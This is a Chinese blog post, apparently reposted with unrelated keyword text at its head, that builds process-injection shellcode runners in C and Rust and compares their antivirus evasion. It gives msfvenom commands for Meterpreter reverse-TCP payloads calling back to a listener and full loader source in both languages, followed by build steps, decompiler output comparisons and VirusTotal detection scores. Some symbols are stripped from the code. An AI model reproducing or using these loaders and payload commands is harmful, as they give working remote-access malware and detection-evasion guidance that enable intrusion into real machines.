建设网站如何挂到网上,wordpress 阿里 cdn,国外有哪些设计网站有哪些问题,天辰建设网写在最前
如果你是信息安全爱好者#xff0c;如果你想考一些证书来提升自己的能力#xff0c;那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里#xff1a;
https://discord.gg/9XvvuFq9Wb我会提供备考过程中尽可能多的帮助#xff0c;并分享学习和实践过程…写在最前
如果你是信息安全爱好者如果你想考一些证书来提升自己的能力那么欢迎大家来我的 Discord 频道 Northern Bay。邀请链接在这里
https://discord.gg/9XvvuFq9Wb我会提供备考过程中尽可能多的帮助并分享学习和实践过程中的资源和心得大家一起进步一起 NB~ 背景
最近看到挺多关于 Rust 武器化的文章。就着这篇最近发布的想着动手实验一下看下 Rust 是否在 Malware 编写方面会比 C/C 更有优势。
本文将分别使用 C 和 Rust 分别编译进程注入的 shellcode runner。然后到 Dogbolt 反编译两个 PE 文件看一下反编译的结果。最后我们看一下 VirusTotal 对于两个文件的检测对比一下目前为止哪个语言的免杀效果相对优秀由于是 shellcode runner 实属裸奔没用任何绕过技巧被查杀是肯定的。
为什么选择 Rust
这里是 Rust 语言的一些特性。
Rust 速度快跟 C/C 不相上下Rust 拥有优秀的依赖解决方案cargoRust 基于 LLVM内部的复杂性有利于其躲避防御机制的检测Rust 拥有活跃的社区支持因此各种问题基本都能得到解决Rust 跨平台
正是因为这些特性Rust 被武器化在网络安全进攻端展现出了一定的实力。
测试环境
Windows
shellcode runner 的编译和执行在一台 Win10 x64 机器上进行。 C 编译使用 Visual Studio 2022。
Rust 使用官网最新版本 cargo。
Linux
另一台 Kali Linux 机器作 shellcode 生成和 shell 接收。
Rust vs C
进入正题分别使用 C 和 Rust 编译两个 PE 文件。保证两个文件都能成功拿到目标的 shell。为后续反编译查找 WinAPI 调用痕迹做个铺垫。
C Process Injection Shellcode Runner
创建一个 C 工程。 生成一份 shellcode。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.3.195 LPORT443 -f c复制 shellcode 到代码。
代码常规套路四步走分配内存拷贝 shellcode设置内存可执行创建线程并执行。
#include windows.hint main(void) {LPVOID lpAddress;HANDLE tHandle;DWORD oldProtect 0;unsigned char payload[] { shellcode_here };SIZE_T payload_size sizeof(payload);lpAddress VirtualAlloc(0, payload_size, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);RtlMoveMemory(lpAddress, payload, payload_size);if (VirtualProtect(lpAddress, payload_size, PAGE_EXECUTE_READ, oldProtect)){tHandle CreateThread(0, 0, (LPTHREAD_START_ROUTINE)lpAddress, 0, 0, 0);WaitForSingleObject(tHandle, (DWORD)-1);}return 0;
}注意这里要使用 Release 编译。
编译之后执行。 Kali 拿到 shell。 接下来编译一个 Rust 版本的代码逻辑一致。
Rust Process Injection Shellcode Runner
Rust 需安装。官网下载安装包 安装即可。 第一次接触 Rust给出一下编译步骤。
首先在当前文件夹下创建一个 Rust 工程。
cargo new shell_rust接着生成一段 shellcode。用 csharp 格式的就行。
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST192.168.3.195 LPORT443 -f csharp然后进入工程中的 src 文件夹编辑 main.rs 文件使用如下代码使用生成的 shellcode。
use winapi::um::winnt::{PVOID,MEM_COMMIT,MEM_RESERVE, PAGE_READWRITE, PAGE_EXECUTE_READ};
use std::ptr;
use winapi::um::errhandlingapi;
use winapi::um::processthreadsapi;
use winapi::um::winbase;
use winapi::um::synchapi::WaitForSingleObject;
use std::process;type DWORD u32;//Thanks to trickster0 for sharing this code https://github.com/trickster0/OffensiveRustfn main(){create_thread()
}fn create_thread() {let payload: [u8;shellcode_length_here] [ shellcode_here ];// allocate base addr as RWunsafe{let base_addr kernel32::VirtualAlloc(ptr::null_mut(),payload.len().try_into().unwrap(),MEM_COMMIT | MEM_RESERVE,PAGE_READWRITE);if base_addr.is_null() { println!([-] Couldnt allocate memory to current proc.)}std::ptr::copy(payload.as_ptr() as _, base_addr, payload.len());let mut old_protect: DWORD PAGE_READWRITE;let mem_protect kernel32::VirtualProtect (base_addr,payload.len() as u64,PAGE_EXECUTE_READ,mut old_protect);if mem_protect 0 {let error errhandlingapi::GetLastError();println!([-] Error: {}, error.to_string());process::exit(0x0100);}let mut tid 0;let ep: extern system fn(PVOID) - u32 { std::mem::transmute(base_addr) };let h_thread processthreadsapi::CreateThread(ptr::null_mut(),0,Some(ep),ptr::null_mut(),0,mut tid);if h_thread.is_null() {let error errhandlingapi::GetLastError();println!({}, error.to_string())}let status WaitForSingleObject(h_thread, winbase::INFINITE);if status ! 0 {let error errhandlingapi::GetLastError();println!({}, error.to_string())}}
}添加依赖。
cargo add winapi kernel32-sys查看 Cargo.toml 文件如下。 不过此时编译还是会报错。 还得增加 winapi 下的 features 才能正常编译。 再次编译 Release 版本。
cargo build --release编译成功。
在 shell_rust/target/release 文件夹下找到 exe 文件。 运行。 Kali 拿到 shell。 至此两个 shellcode runner 编译完成。
反编译比较
将两个文件都丢到 Dogbolt 上用多个反编译器进行反编译。
C Decompile
C 经过反编译得到了至多 1453 行代码Ghidra。 并且每一个反编译器都准确反编译出了四个重点查杀的 WinAPI。
VirtualAlloc VirtualProtect CreateThread WaitForSingleObject 接下来看下 Rust 的表现。
Rust Decompile
但从编译时间的角度来看有两个反编译器都显示反编译超时。BinaryNinja 和 Hex-Rays 反编译出了 20K 行代码。 再查找一下敏感 API还是可以被找到。这里与原文有些不符。原文指出只有在 Binary-Ninja 反编译之后才能看到敏感 API 的调用。 VT 查杀结果
Rust 结果 18/62。 C 结果 28/62。 总结
目前为止裸奔 Rust Payload 比 C 表现优异那么一些。在实践过程中发生的与原文的偏差。我认为可能是我编译 Rust 的过程有问题。原文作者没有指出编译细节。这个还需要继续深入挖掘一下。
参考链接
https://steve-s.gitbook.io/0xtriboulet/ttps/ttps-rust-vs-chttps://doc.rust-lang.org/book/ch01-03-hello-cargo.htmlhttps://github.com/trickster0/OffensiveRusthttps://doc.rust-lang.org/cargo/guide/dependencies.htmlhttps://doc.rust-lang.org/cargo/reference/profiles.html#opt-levelhttps://doc.rust-lang.org/cargo/reference/config.html#buildrustchttps://www.secureideas.com/blog/how-to-obfuscate-strings-in-rust-the-easy-way-using-the-litcrypt-crate